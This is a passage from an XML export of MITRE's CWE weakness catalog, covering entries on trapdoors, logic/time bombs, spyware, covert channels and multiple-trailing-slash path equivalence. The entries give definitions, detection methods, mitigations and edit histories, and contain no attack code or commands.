                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                           <xhtml:li>Generated Code Inspection</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                           <xhtml:li>Debugger</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Always verify the integrity of the software that is being installed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Trapdoor</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="511" Name="Logic/Time Bomb" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.</Description>
         <Extended_Description>When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="506" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Always verify the integrity of the product that is being installed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Logic/Time Bomb</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-172"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, References, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="512" Name="Spyware" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.</Description>
         <Extended_Description>"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="506" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Use spyware detection and removal software.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Always verify the integrity of the product that is being installed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="514" Name="Covert Channel" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.</Description>
         <Extended_Description>Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1229" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Covert Channel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="463"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Theoretical">A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.</Note>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="515" Name="Covert Storage Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.</Description>
         <Extended_Description>Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="514" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Covert storage channels may provide attackers with important information about the system in question.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Storage</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Covert storage channel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="516" Name="DEPRECATED: Covert Timing Channel" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness can be found at CWE-385.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Covert Timing Channel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="52" Name="Path Equivalence: '/multiple/trailing/slash//'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="163" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="289" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1078</Reference>
               <Description>Directory listings in web server using multiple trailing slash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1078</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>/multiple/trailing/slash// ('multiple trailing slash')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
